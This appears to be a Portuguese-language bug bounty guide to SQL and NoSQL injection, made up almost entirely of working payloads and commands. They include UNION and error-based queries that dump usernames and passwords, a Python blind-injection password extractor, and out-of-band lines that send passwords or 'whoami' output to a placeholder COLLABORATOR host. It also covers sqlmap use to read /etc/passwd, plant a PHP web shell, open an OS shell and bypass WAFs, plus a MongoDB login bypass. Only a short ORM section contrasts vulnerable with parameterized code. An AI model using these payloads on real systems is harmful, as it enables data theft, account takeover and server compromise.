SQL Injection: exploração completa
Baixar PDFUNION-based, blind boolean, blind time, out-of-band, second-order, NoSQL injection, ORM injection, WAF bypass — SQLi do básico ao avançado.
SQL Injection permite ler, modificar ou destruir dados do banco. Em alguns cenários, executa comandos no OS. É uma das vulnerabilidades mais lucrativas em bug bounty.
Classificação completa
SQLi
├── In-band (resultado na response)
│ ├── UNION-based (UNION SELECT para extrair dados)
│ └── Error-based (erros revelam dados)
├── Blind (sem resultado direto)
│ ├── Boolean-based (response diferente = true/false)
│ └── Time-based (delay = true/false)
├── Out-of-band (callback via DNS/HTTP)
│ ├── DNS exfiltration
│ └── HTTP exfiltration
└── Advanced
├── Second-order (payload persistido, executado depois)
├── ORM injection (SQLAlchemy, Hibernate, Sequelize)
├── NoSQL injection (MongoDB, CouchDB)
└── GraphQL injectionUNION-based SQLi
Passo a passo
-- 1. Detectar número de colunas
' ORDER BY 1-- (ok)
' ORDER BY 2-- (ok)
' ORDER BY 3-- (ok)
' ORDER BY 4-- (erro) → 3 colunas
-- OU usar UNION com NULLs
' UNION SELECT NULL-- (erro = mais colunas)
' UNION SELECT NULL,NULL-- (erro = mais colunas)
' UNION SELECT NULL,NULL,NULL-- (ok = 3 colunas)
-- 2. Identificar colunas visíveis (string-friendly)
' UNION SELECT 1,2,3--
' UNION SELECT 'a','b','c'--
-- Se "b" aparece na response → coluna 2 é visível
-- 3. Extrair informação do banco
' UNION SELECT NULL,database(),NULL--
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,user(),NULL--
-- 4. Listar tabelas
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
-- 5. Listar colunas
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
-- 6. Extrair dados
' UNION SELECT NULL,username,password FROM users--
' UNION SELECT NULL,group_concat(username,0x3a,password),NULL FROM users--Extrair dados eficientemente
-- Concatenar múltiplas linhas
' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()--
-- Limit + offset (quando group_concat não funciona)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables LIMIT 0,1--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables LIMIT 1,1--
-- Extrair de múltiplas tabelas
' UNION SELECT NULL,concat(table_name,':',column_name),NULL FROM information_schema.columns--
-- Concatenar username:password
' UNION SELECT NULL,concat(username,0x3a,password),NULL FROM users--Error-based SQLi
Quando erros são exibidos na response, podemos extrair dados via mensagens de erro.
-- MySQL: extractvalue()
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
' AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,password) FROM users),0x7e))--
-- MySQL: updatexml()
' AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--
-- PostgreSQL: CAST error
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST((SELECT string_agg(username||':'||password,',') FROM users) AS int)--
-- MSSQL: CONVERT error
' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--
-- Oracle: XMLType
' AND 1=utl_inaddr.get_host_address((SELECT password FROM users WHERE rownum=1))--Blind Boolean-based
Quando não há erro visível, mas a página muda entre true/false.
-- Detectar boolean behavior
?id=1 AND 1=1-- (página normal)
?id=1 AND 1=2-- (página diferente)
-- Extrair character por character
?id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
?id=1 AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users LIMIT 1)>97--
?id=1 AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users LIMIT 1)=97--
-- Automatizado com sqlmap
sqlmap -u "https://target.com/page?id=1" --technique=B --batch
-- Script Python manual
import requests
target = "https://target.com/page?id=1"
result = ""
for i in range(1, 50):
for c in range(32, 127):
payload = f" AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),{i},1))={c}--"
r = requests.get(target + payload)
if "Welcome" in r.text:
result += chr(c)
print(f"Found: {result}")
breakBlind Time-based
Sem diferença visível na response — usar delay para inferir dados.
-- MySQL: SLEEP()
?id=1 AND IF(1=1,SLEEP(5),0)-- (delay de 5s = true)
?id=1 AND IF(1=2,SLEEP(5),0)-- (sem delay = false)
-- Extrair dados
?id=1 AND IF((SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a',SLEEP(5),0)--
-- PostgreSQL: pg_sleep()
?id=1; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- MSSQL: WAITFOR DELAY
?id=1; IF(1=1) WAITFOR DELAY '0:0:5'--
-- Oracle: DBMS_LOCK.SLEEP()
?id=1 AND 1=(SELECT CASE WHEN 1=1 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END FROM dual)--
-- BENCHMARK (alternativa a SLEEP)
?id=1 AND IF(1=1,BENCHMARK(5000000,SHA1('test')),0)--
-- Heavy query (alternativa sem SLEEP)
?id=1 AND IF(1=1,(SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B),0)--Out-of-band SQLi
Quando nem error nem boolean/time funcionam — extrair via DNS/HTTP callback.
-- MySQL: DNS exfiltration via LOAD_FILE / UDF
?id=1 AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.COLLABORATOR\\a'))--
-- MySQL: DNS via SELECT INTO OUTFILE (se permissões)
?id=1 UNION SELECT NULL,(SELECT password FROM users LIMIT 1) INTO OUTFILE '\\\\COLLABORATOR\\a'--
-- MSSQL: xp_dirtree / xp_cmdshell
?id=1; EXEC master..xp_dirtree '\\\\COLLABORATOR\\a'--
?id=1; EXEC master..xp_fileexist '\\\\COLLABORATOR\\a'--
-- Oracle: HTTP request via UTL_HTTP
?id=1 AND UTL_HTTP.REQUEST('http://COLLABORATOR/'||(SELECT password FROM users WHERE rownum=1)) IS NOT NULL--
-- PostgreSQL: COPY TO PROGRAM (PostgreSQL 9.3+)
?id=1; COPY (SELECT '') TO PROGRAM 'curl http://COLLABORATOR/$(whoami)'--
-- DNS exfiltration via subdomain
-- Resultado aparece como: admin-password-here.COLLATORATOR.com
?id=1 AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password) FROM users LIMIT 1), '.COLLABORATOR\\foo')))--Second-order SQLi
O payload é armazenado (sem execução imediata) e executado quando outro processo o usa.
Cenário:
1. Registro de usuário: username = admin'--
2. Aplicação armazena sem sanitizar
3. Login funciona (username é inserido em query sem escape)
4. Funcionalidade "esqueci senha" usa o username armazenado
5. Query: UPDATE users SET password='new' WHERE username='admin'--
6. Resultado: senha do admin resetada-- Username no registro
admin' UNION SELECT password FROM users WHERE username='admin'--
-- Email no perfil
test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'[email protected]
-- Profile description
' OR 1=1 UPDATE users SET role='admin' WHERE username='attacker'--NoSQL Injection (MongoDB)
// Authentication bypass
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$exists": true}, "password": {"$exists": true}}
// $regex para brute-force de dados
{"username": {"$regex": "^a.*"}}
{"username": {"$regex": "^ad.*"}}
{"username": {"$regex": "^adm.*"}}
// $where (JavaScript injection)
{"$where": "sleep(5000)"}
{"$where": "this.username == 'admin'"}
{"$where": "return this.username.match(/^a.*/)"}
// Array injection
{"username": ["admin"], "password": {"$gt": ""}}
// Operator injection via URL
?username[$gt]=&password[$gt]=
?username[$ne]=&password[$ne]=
?username[$regex]=^a.*
// Blind NoSQL
?username=admin&password[$regex]=^p.*
?username=admin&password[$regex]=^pa.*
?username=admin&password[$regex]=^pas.*ORM Injection
# SQLAlchemy (Python) — string concatenation
query = f"SELECT * FROM users WHERE id = {user_id}" # VULNERÁVEL
query = session.query(User).filter(User.id == user_id) # SEGURO (parameterized)
# Sequelize (Node.js) — raw queries
sequelize.query(`SELECT * FROM users WHERE id = ${userId}`) # VULNERÁVEL
sequelize.query('SELECT * FROM users WHERE id = :id', {replacements: {id: userId}}) # SEGURO
# Hibernate (Java) — string concat
session.createQuery("FROM User WHERE name = '" + name + "'") # VULNERÁVEL
session.createQuery("FROM User WHERE name = :name").setParameter("name", name) # SEGURO
# Django ORM — raw SQL
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'") # VULNERÁVEL
User.objects.filter(name=name) # SEGURO (parameterized)SQLmap — Uso Avançado
# Configurar threads para speed
sqlmap -u "https://target.com/page?id=1" --threads=10 --batch
# Custom injection point
sqlmap -u "https://target.com/page" --data="id=1*&name=test" --batch
# Tamper scripts (WAF bypass)
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between,randomcase,charencode --batch
# Múltiplos tampers
sqlmap -u "https://target.com/page?id=1" --tamper=between,randomcase --batch
# File operations (se DBA privileges)
sqlmap -u "https://target.com/page?id=1" --file-read="/etc/passwd" --batch
sqlmap -u "https://target.com/page?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php --batch
# OS command execution
sqlmap -u "https://target.com/page?id=1" --os-shell --batch
# Custom SQL query
sqlmap -u "https://target.com/page?id=1" --sql-query="SELECT @@version" --batch
# Risk e Level
sqlmap -u "https://target.com/page?id=1" --level=5 --risk=3 --batch
# level 1-5: mais testes (headers, cookies, etc.)
# risk 1-3: mais payloads (OR-based, time-based, heavy queries)
# Cookie-based injection
sqlmap -u "https://target.com/page?id=1" --cookie="session=abc;token=xyz" --batch
# HTTP header injection
sqlmap -u "https://target.com/page?id=1" --headers="X-Forwarded-For: *\nUser-Agent: *" --batch
# Second-order
sqlmap -u "https://target.com/page?id=1" --second-url="https://target.com/profile" --second-req=second.req --batchDetecção manual vs automática
O que sqlmap NÃO encontra:
→ Second-order SQLi (precisa de script custom)
→ ORM injection com lógica complexa
→ SQLi em GraphQL mutations
→ SQLi em JSON/XML body
→ SQLi com WAF avançado (precisa de tampers manuais)
O que faz manualmente:
→ Testar cada input com ' OR 1=1--
→ Observar differences em responses (timing, content, headers)
→ Mapear o banco (MySQL vs PostgreSQL vs MSSQL vs Oracle)
→ Adaptar payloads ao contextoReferências
XSS Deep Dive: Cross-Site Scripting avançado
DOM XSS, mutation XSS, template injection, mXSS, filter bypass avançado, CSP bypass, exploitation real — o guia definitivo de XSS para bug bounty.
SSRF Deep Dive: Server-Side Request Forgery
SSRF básico a avançado, cloud metadata exploitation, blind SSRF, gopher protocol, DNS rebinding, bypass techniques — guia completo para bug bounty.